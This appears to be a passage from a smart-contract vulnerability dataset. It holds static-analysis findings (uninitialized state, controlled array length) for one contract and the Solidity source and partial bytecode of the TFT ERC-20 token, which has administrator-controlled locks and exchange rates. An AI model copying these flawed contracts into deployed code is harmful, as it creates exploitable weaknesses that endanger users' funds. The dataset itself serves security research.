60a01b038316610f8957600080fd5b33600090815260036020526040902054610fa9908363ffffffff6113c516565b33600090815260036020526040808220929092556001600160a01b03851681522054610fdb908363ffffffff6113d716565b6001600160a01b0384166000818152600360209081526040918290209390935580518581529051919233926000805160206117938339815191529281900390910190a350600192915050565b600a546001600160a01b0316331461103e57600080fd5b600f8054600181810183556000839052600a7f8d1108e10bcb7c27dddfc02ed9d693a074039d026cf4ea4240b40f7d581ac8029283015582549081019092556032910155565b6007818154811061109157fe5b600091825260209182902001805460408051601f60026000196101006001871615020190941693909304928301859004850281018501909152818152935090918301828280156111225780601f106110f757610100808354040283529160200191611122565b820191906000526020600020905b81548152906001019060200180831161110557829003601f168201915b505050505081565b600c5481565b610d1081611589565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b60006001600160a01b03831661117957600080fd5b3360009081526005602090815260408083206001600160a01b03871684529091529020546111ad908363ffffffff6113c516565b3360008181526005602090815260408083206001600160a01b0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b60006001600160a01b03831661122757600080fd5b3360009081526005602090815260408083206001600160a01b03871684529091529020546111ad908363ffffffff6113d716565b600080841161129b5760405162461bcd60e51b815260040180806020018281038252602b8152602001806117b3602b913960400191505060405180910390fd5b6000831180156112ab5750600082115b6112e65760405162461bcd60e51b815260040180806020018281038252602881526020018061176b6028913960400191505060405180910390fd5b60006112fa856103e563ffffffff61138516565b9050600061130e828563ffffffff61138516565b9050600061133483611328886103e863ffffffff61138516565b9063ffffffff6113d716565b905080828161133f57fe5b04979650505050505050565b60008061135884846113d7565b905060006113678260016113c5565b905061137c61137682866113b0565b85611385565b95945050505050565b60008261139457506000610a30565b828202828482816113a157fe5b04146113a957fe5b9392505050565b6000808284816113bc57fe5b04949350505050565b6000828211156113d157fe5b50900390565b6000828201838110156113a957fe5b806113f057600080fd5b6001600160a01b03821660009081526003602052604090205481111561141557600080fd5b600b54611428908263ffffffff6113c516565b600b556001600160a01b038216600090815260036020526040902054611454908263ffffffff6113c516565b6001600160a01b038316600081815260036020908152604080832094909455835185815293519193600080516020611793833981519152929081900390910190a35050565b60008084116114d95760405162461bcd60e51b815260040180806020018281038252602c81526020018061173f602c913960400191505060405180910390fd5b6000831180156114e95750600082115b6115245760405162461bcd60e51b815260040180806020018281038252602881526020018061176b6028913960400191505060405180910390fd5b60006115486103e861153c868863ffffffff61138516565b9063ffffffff61138516565b905060006115626103e561153c868963ffffffff6113c516565b905061157f600182848161157257fe5b049063ffffffff6113d716565b9695505050505050565b33600090815260036020526040902054612710106115e2576040805162461bcd60e51b81526020600482015260116024820152704e6f7420656e6f75676820746f6b656e7360781b604482015290519081900360640190fd5b33600090815260046020526040902054421015611637576040805162461bcd60e51b815260206004820152600e60248201526d131bd8dac8155c0814195c9a5bd960921b604482015290519081900360640190fd5b60105481111561164657600080fd5b600061166b600d546010848154811061165b57fe5b9060005260206000200154611385565b3360009081526004602090815260408083204294909401909355600390522054600f80546116ab926116a39290918690811061165b57fe5b6103e86113b0565b336000908152600360205260409020805482019055600b549091506116d6908263ffffffff6113d716565b600b55604080513381526020810184905281517f625fed9875dada8643f2418b838ae0bc78d9a148a18eee4ee1979ff0f3f5d427929181900390910190a160408051828152905133916000916000805160206117938339815191529181900360200190a3505056fe556e697377617056324c6962726172793a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056324c6962726172793a20494e53554646494349454e545f4c4951554944495459ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef556e697377617056324c6962726172793a20494e53554646494349454e545f494e5055545f414d4f554e54a265627a7a72315820c953212f3edf320441cab59edf293f9c5c72abdf5b996e8260843ddb458068d864736f6c63430005110032
|
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 5,955 |
0xe07fbe398783f1e945320b18d6cac755c3f68b96
|
pragma solidity ^0.4.23;
library SafeMathLib {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b > 0);
uint256 c = a / b;
assert(a == b * c + a % b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract DateTimeLib {
struct _DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
function isLeapYear(uint16 year) internal pure returns (bool) {
if (year % 4 != 0) {
return false;
}
if (year % 100 != 0) {
return true;
}
if (year % 400 != 0) {
return false;
}
return true;
}
function leapYearsBefore(uint year) internal pure returns (uint) {
year -= 1;
return year / 4 - year / 100 + year / 400;
}
function getDaysInMonth(uint8 month, uint16 year) internal pure returns (uint8) {
if (month == 1 || month == 3 || month == 5 || month == 7 || month == 8 || month == 10 || month == 12) {
return 31;
}
else if (month == 4 || month == 6 || month == 9 || month == 11) {
return 30;
}
else if (isLeapYear(year)) {
return 29;
}
else {
return 28;
}
}
function parseTimestamp(uint timestamp) internal pure returns (_DateTime dt) {
uint secondsAccountedFor = 0;
uint buf;
uint8 i;
dt.year = getYear(timestamp);
buf = leapYearsBefore(dt.year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * buf;
secondsAccountedFor += YEAR_IN_SECONDS * (dt.year - ORIGIN_YEAR - buf);
uint secondsInMonth;
for (i = 1; i <= 12; i++) {
secondsInMonth = DAY_IN_SECONDS * getDaysInMonth(i, dt.year);
if (secondsInMonth + secondsAccountedFor > timestamp) {
dt.month = i;
break;
}
secondsAccountedFor += secondsInMonth;
}
for (i = 1; i <= getDaysInMonth(dt.month, dt.year); i++) {
if (DAY_IN_SECONDS + secondsAccountedFor > timestamp) {
dt.day = i;
break;
}
secondsAccountedFor += DAY_IN_SECONDS;
}
dt.hour = getHour(timestamp);
dt.minute = getMinute(timestamp);
dt.second = getSecond(timestamp);
dt.weekday = getWeekday(timestamp);
}
function getYear(uint timestamp) internal pure returns (uint16) {
uint secondsAccountedFor = 0;
uint16 year;
uint numLeapYears;
year = uint16(ORIGIN_YEAR + timestamp / YEAR_IN_SECONDS);
numLeapYears = leapYearsBefore(year) - leapYearsBefore(ORIGIN_YEAR);
secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears;
secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears);
while (secondsAccountedFor > timestamp) {
if (isLeapYear(uint16(year - 1))) {
secondsAccountedFor -= LEAP_YEAR_IN_SECONDS;
}
else {
secondsAccountedFor -= YEAR_IN_SECONDS;
}
year -= 1;
}
return year;
}
function getMonth(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).month;
}
function getDay(uint timestamp) internal pure returns (uint8) {
return parseTimestamp(timestamp).day;
}
function getHour(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60 / 60) % 24);
}
function getMinute(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / 60) % 60);
}
function getSecond(uint timestamp) internal pure returns (uint8) {
return uint8(timestamp % 60);
}
function getWeekday(uint timestamp) internal pure returns (uint8) {
return uint8((timestamp / DAY_IN_SECONDS + 4) % 7);
}
function toTimestamp(uint16 year, uint8 month, uint8 day) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, 0, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, 0, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) internal pure returns (uint timestamp) {
return toTimestamp(year, month, day, hour, minute, 0);
}
function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) internal pure returns (uint timestamp) {
uint16 i;
for (i = ORIGIN_YEAR; i < year; i++) {
if (isLeapYear(i)) {
timestamp += LEAP_YEAR_IN_SECONDS;
}
else {
timestamp += YEAR_IN_SECONDS;
}
}
uint8[12] memory monthDayCounts;
monthDayCounts[0] = 31;
if (isLeapYear(year)) {
monthDayCounts[1] = 29;
}
else {
monthDayCounts[1] = 28;
}
monthDayCounts[2] = 31;
monthDayCounts[3] = 30;
monthDayCounts[4] = 31;
monthDayCounts[5] = 30;
monthDayCounts[6] = 31;
monthDayCounts[7] = 31;
monthDayCounts[8] = 30;
monthDayCounts[9] = 31;
monthDayCounts[10] = 30;
monthDayCounts[11] = 31;
for (i = 1; i < month; i++) {
timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1];
}
timestamp += DAY_IN_SECONDS * (day - 1);
timestamp += HOUR_IN_SECONDS * (hour);
timestamp += MINUTE_IN_SECONDS * (minute);
timestamp += second;
return timestamp;
}
}
interface IERC20 {
function totalSupply() external constant returns (uint256);
function balanceOf(address _owner) external constant returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address _spender, uint256 _value);
}
contract StandardToken is IERC20,DateTimeLib {
using SafeMathLib for uint256;
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
string public constant symbol = "TFT";
string public constant name = "Global TokenFinance Token";
uint _totalSupply = 1000000000 * 10 ** 8;
uint8 public constant decimals = 8;
function totalSupply() external constant returns (uint256) {
return _totalSupply;
}
function balanceOf(address _owner) external constant returns (uint256 balance) {
return balances[_owner];
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_value > 0 && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(_from, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract LockableToken is StandardToken {
address internal developerReservedAddress = 0x7a60BB4e0fb003407deA8D27FAaAf050518AeA36;
uint[4] internal developerReservedUnlockTimes;
uint256[4] internal developerReservedBalanceLimits;
mapping(address => uint256) internal balanceLocks;
mapping(address => uint) internal timeLocks;
function getLockInfo(address _address) public constant returns (uint timeLock, uint256 balanceLock) {
return (timeLocks[_address], balanceLocks[_address]);
}
function getDeveloperReservedBalanceLimit() internal returns (uint256 balanceLimit) {
uint time = now;
for (uint index = 0; index < developerReservedUnlockTimes.length; index++) {
if (developerReservedUnlockTimes[index] == 0x0) {
continue;
}
if (time > developerReservedUnlockTimes[index]) {
developerReservedUnlockTimes[index] = 0x0;
} else {
return developerReservedBalanceLimits[index];
}
}
return 0;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
return transferInternal(msg.sender, _to, _value);
}
function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
var(timeLock, balanceLock) = getLockInfo(_from);
if (timeLock <= now && timeLock != 0x0) {
timeLock = 0x0;
timeLocks[_from] = 0x0;
balanceLocks[_from] = 0x0;
emit UnLock(_from, timeLock, balanceLock);
balanceLock = 0x0;
}
if (timeLock != 0x0 && balanceLock > 0x0) {
require(balances[_from].sub(balanceLock) >= _value);
}
return super.transferInternal(_from, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_from != 0x0 && _to != 0x0 && _value > 0x0);
if (_from == developerReservedAddress) {
uint256 balanceLimit = getDeveloperReservedBalanceLimit();
require(balances[_from].sub(balanceLimit) >= _value);
}
var(timeLock, balanceLock) = getLockInfo(_from);
if (timeLock <= now && timeLock != 0x0) {
timeLock = 0x0;
timeLocks[_from] = 0x0;
balanceLocks[_from] = 0x0;
emit UnLock(_from, timeLock, balanceLock);
balanceLock = 0x0;
}
if (timeLock != 0x0 && balanceLock > 0x0) {
require(balances[_from].sub(balanceLock) >= _value);
}
return super.transferFrom(_from, _to, _value);
}
event DeveloperReservedUnlockTimeChanged(uint index, uint unlockTime, uint newUnlockTime);
event DeveloperReservedLockInfo(address indexed publicOfferingAddress, uint index, uint unlockTime, uint256 balanceLimit);
event Lock(address indexed lockAddress, uint timeLock, uint256 balanceLock);
event UnLock(address indexed lockAddress, uint timeLock, uint256 balanceLock);
}
contract TradeableToken is LockableToken {
address internal publicOfferingAddress = 0x1bd02c1f89CE9D4F38dE3b7C4920FD637F6134e9;
uint256 public exchangeRate = 35000;
function buy(address _beneficiary, uint256 _weiAmount) internal {
require(_beneficiary != 0x0);
require(publicOfferingAddress != 0x0);
require(exchangeRate > 0x0);
require(_weiAmount > 0x0);
uint256 exchangeToken = _weiAmount.mul(exchangeRate);
exchangeToken = exchangeToken.div(1 * 10 ** 10);
publicOfferingAddress.transfer(_weiAmount);
super.transferInternal(publicOfferingAddress, _beneficiary, exchangeToken);
}
event ExchangeRateChanged(uint256 oldExchangeRate,uint256 newExchangeRate);
}
contract OwnableToken is TradeableToken {
address internal owner = 0x6f43fEBF08c28D4B4f690Be07b427D71e1015b58;
mapping(address => uint) administrators;
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyAdministrator() {
require(msg.sender == owner || administrators[msg.sender] > 0x0);
_;
}
function transferOwnership(address _newOwner) onlyOwner public returns (bool success) {
require(_newOwner != address(0));
owner = _newOwner;
emit OwnershipTransferred(owner, _newOwner);
return true;
}
function addAdministrator(address _adminAddress) onlyOwner public returns (bool success) {
require(_adminAddress != address(0));
require(administrators[_adminAddress] <= 0x0);
administrators[_adminAddress] = 0x1;
emit AddAdministrator(_adminAddress);
return true;
}
function removeAdministrator(address _adminAddress) onlyOwner public returns (bool success) {
require(_adminAddress != address(0));
require(administrators[_adminAddress] > 0x0);
administrators[_adminAddress] = 0x0;
emit RemoveAdministrator(_adminAddress);
return true;
}
function isAdministrator(address _adminAddress) view public returns (bool success) {
require(_adminAddress != address(0));
return (administrators[_adminAddress] == 0x1 || _adminAddress == owner);
}
function setExchangeRate(uint256 _exchangeRate) public onlyAdministrator returns (bool success) {
require(_exchangeRate > 0x0);
uint256 oldExchangeRate = exchangeRate;
exchangeRate = _exchangeRate;
emit ExchangeRateChanged(oldExchangeRate, exchangeRate);
return true;
}
function changeUnlockTime(uint _index, uint _unlockTime) public onlyAdministrator returns (bool success) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _unlockTime > 0x0);
if(_index > 0x0) {
uint beforeUnlockTime = developerReservedUnlockTimes[_index - 1];
require(beforeUnlockTime == 0x0 || beforeUnlockTime < _unlockTime);
}
if(_index < developerReservedUnlockTimes.length - 1) {
uint afterUnlockTime = developerReservedUnlockTimes[_index + 1];
require(afterUnlockTime == 0x0 || _unlockTime < afterUnlockTime);
}
uint oldUnlockTime = developerReservedUnlockTimes[_index];
developerReservedUnlockTimes[_index] = _unlockTime;
emit DeveloperReservedUnlockTimeChanged(_index,oldUnlockTime,_unlockTime);
return true;
}
function getDeveloperReservedLockInfo(uint _index) public onlyAdministrator returns (uint, uint256) {
require(_index >= 0x0 && _index < developerReservedUnlockTimes.length && _index < developerReservedBalanceLimits.length);
emit DeveloperReservedLockInfo(developerReservedAddress,_index,developerReservedUnlockTimes[_index],developerReservedBalanceLimits[_index]);
return (developerReservedUnlockTimes[_index], developerReservedBalanceLimits[_index]);
}
function lock(address _owner, uint _releaseTime, uint256 _value) public onlyAdministrator returns (uint releaseTime, uint256 limit) {
require(_owner != 0x0 && _value > 0x0 && _releaseTime >= now);
balanceLocks[_owner] = _value;
timeLocks[_owner] = _releaseTime;
emit Lock(_owner, _releaseTime, _value);
return (_releaseTime, _value);
}
function unlock(address _owner) public onlyAdministrator returns (bool) {
require(_owner != 0x0);
uint _releaseTime = timeLocks[_owner];
uint256 _value = balanceLocks[_owner];
balanceLocks[_owner] = 0x0;
timeLocks[_owner] = 0x0;
emit UnLock(_owner, _releaseTime, _value);
return true;
}
function transferAndLock(address _to, uint256 _value, uint _releaseTime) public onlyAdministrator returns (bool success) {
require(_to != 0x0);
require(_value > 0);
require(_releaseTime >= now);
require(_value <= balances[msg.sender]);
lock(_to, _releaseTime, _value);
super.transfer(_to, _value);
return true;
}
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
event AddAdministrator(address indexed adminAddress);
event RemoveAdministrator(address indexed adminAddress);
}
contract TFT is OwnableToken {
constructor() public {
balances[owner] = 500000000 * 10 ** 8;
balances[publicOfferingAddress] = 300000000 * 10 ** 8;
uint256 developerReservedBalance = 200000000 * 10 ** 8;
balances[developerReservedAddress] = developerReservedBalance;
developerReservedUnlockTimes =
[
DateTimeLib.toTimestamp(2019, 2, 1),
DateTimeLib.toTimestamp(2020, 2, 1),
DateTimeLib.toTimestamp(2021, 2, 1),
DateTimeLib.toTimestamp(2022, 2, 1)
];
developerReservedBalanceLimits =
[
developerReservedBalance,
developerReservedBalance - (developerReservedBalance / 4) * 1,
developerReservedBalance - (developerReservedBalance / 4) * 2,
developerReservedBalance - (developerReservedBalance / 4) * 3
];
}
function() public payable {
buy(msg.sender, msg.value);
}
}
|
0x60806040526004361061011d576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610129578063095ea7b3146101b95780630a2eb3011461021e57806318160ddd1461027957806323b872dd146102a45780632f6c493c14610329578063313ce567146103845780633ba0b9a9146103b557806368fa8134146103e057806370a082311461043b5780637238ccdb1461049257806384d5d944146104f057806395d89b411461055f578063a9059cbb146105ef578063aad7104014610654578063c9991176146106a3578063db068e0e146106fe578063dd62ed3e14610743578063e2ab691d146107ba578063f2fde38b1461082c578063f6988b7914610887575b61012733346108cf565b005b34801561013557600080fd5b5061013e610a2b565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561017e578082015181840152602081019050610163565b50505050905090810190601f1680156101ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c557600080fd5b50610204600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a64565b604051808215151515815260200191505060405180910390f35b34801561022a57600080fd5b5061025f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b73565b604051808215151515815260200191505060405180910390f35b34801561028557600080fd5b5061028e610c52565b6040518082815260200191505060405180910390f35b3480156102b057600080fd5b5061030f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c5c565b604051808215151515815260200191505060405180910390f35b34801561033557600080fd5b5061036a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f10565b604051808215151515815260200191505060405180910390f35b34801561039057600080fd5b50610399611150565b604051808260ff1660ff16815260200191505060405180910390f35b3480156103c157600080fd5b506103ca611155565b6040518082815260200191505060405180910390f35b3480156103ec57600080fd5b50610421600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061115b565b604051808215151515815260200191505060405180910390f35b34801561044757600080fd5b5061047c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112d4565b6040518082815260200191505060405180910390f35b34801561049e57600080fd5b506104d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131c565b604051808381526020018281526020019250505060405180910390f35b3480156104fc57600080fd5b50610545600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291905050506113a8565b604051808215151515815260200191505060405180910390f35b34801561056b57600080fd5b50610574611504565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105b4578082015181840152602081019050610599565b50505050905090810190601f1680156105e15780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105fb57600080fd5b5061063a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061153d565b604051808215151515815260200191505060405180910390f35b34801561066057600080fd5b506106896004803603810190808035906020019092919080359060200190929190505050611552565b604051808215151515815260200191505060405180910390f35b3480156106af57600080fd5b506106e4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611717565b604051808215151515815260200191505060405180910390f35b34801561070a57600080fd5b5061072960048036038101908080359060200190929190505050611891565b604051808215151515815260200191505060405180910390f35b34801561074f57600080fd5b506107a4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119a0565b6040518082815260200191505060405180910390f35b3480156107c657600080fd5b5061080f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919080359060200190929190505050611a27565b604051808381526020018281526020019250505060405180910390f35b34801561083857600080fd5b5061086d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611bfa565b604051808215151515815260200191505060405180910390f35b34801561089357600080fd5b506108b260048036038101908080359060200190929190505050611d5a565b604051808381526020018281526020019250505060405180910390f35b6000808373ffffffffffffffffffffffffffffffffffffffff16141515156108f657600080fd5b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415151561093e57600080fd5b6000600f5411151561094f57600080fd5b60008211151561095e57600080fd5b610973600f5483611ef690919063ffffffff16565b905061098d6402540be40082611f2990919063ffffffff16565b9050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501580156109f7573d6000803e3d6000fd5b50610a25600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168483611f6a565b50505050565b6040805190810160405280601981526020017f476c6f62616c20546f6b656e46696e616e636520546f6b656e0000000000000081525081565b600081600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258484604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a26001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614151515610bb057600080fd5b6001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541480610c4b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b6000600254905090565b60008060008060008773ffffffffffffffffffffffffffffffffffffffff1614158015610ca0575060008673ffffffffffffffffffffffffffffffffffffffff1614155b8015610cac5750600085115b1515610cb757600080fd5b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415610d7757610d1561221e565b925084610d69846000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b10151515610d7657600080fd5b5b610d808761131c565b91509150428211158015610d95575060008214155b15610e8357600091506000600d60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600c60008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508673ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600090505b60008214158015610e945750600081115b15610ef95784610eeb826000808b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122b590919063ffffffff16565b10151515610ef857600080fd5b5b610f048787876122ce565b93505050509392505050565b6000806000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fb057506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1515610fbb57600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff1614151515610fe157600080fd5b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549150600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff167fc56cef68903bdd36458fd80e70fac1fabcf0b8b37d32e6b9d02ccef26642570b8383604051808381526020018281526020019250505060405180910390a2600192505050919050565b600881565b600f5481565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111b957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156111f557600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561124357600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f5e40a439a19faa971f5d14cf300dcd7ee0d236808b9a988c9b4ca89cb833e96160405160405180910390a260019050919050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600080600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491509150915091565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061144557506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b151561145057600080fd5b60008473ffffffffffffffffffffffffffffffffffffffff161415151561147657600080fd5b60008311151561148557600080fd5b42821015151561149457600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156114e157600080fd5b6114ec848385611a27565b50506114f8848461153d565b50600190509392505050565b6040805190810160405280600381526020017f544654000000000000000000000000000000000000000000000000000000000081525081565b600061154a338484611f6a565b905092915050565b600080600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806115f357506000601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b15156115fe57600080fd5b6000861015801561160f5750600486105b801561161b5750600085115b151561162657600080fd5b600086111561165f5760046001870360048110151561164157fe5b01549250600083148061165357508483105b151561165e57600080fd5b5b600160040386101561169b5760046001870160048110151561167d57fe5b01549150600082148061168f57508185105b151561169a57600080fd5b5b6004866004811015156116aa57fe5b01549050846004876004811015156116be57fe5b01819055507fbf790663d2af8830f8589af82ffcf2307f6f0d20b9a4f38b6e2219739e70fe7a86828760405180848152602001838152602001828152602001935050505060405180910390a16001935050505092915050565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561177557600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515156117b157600080fd5b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541115151561180057600080fd5b6001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff167f6e5eedde7d0d690d55dea362660be04ef1eb36252e48817545afb1ae6b245a4060405160405180910390a260019050919050565b600080601060009054906101000a900473ffff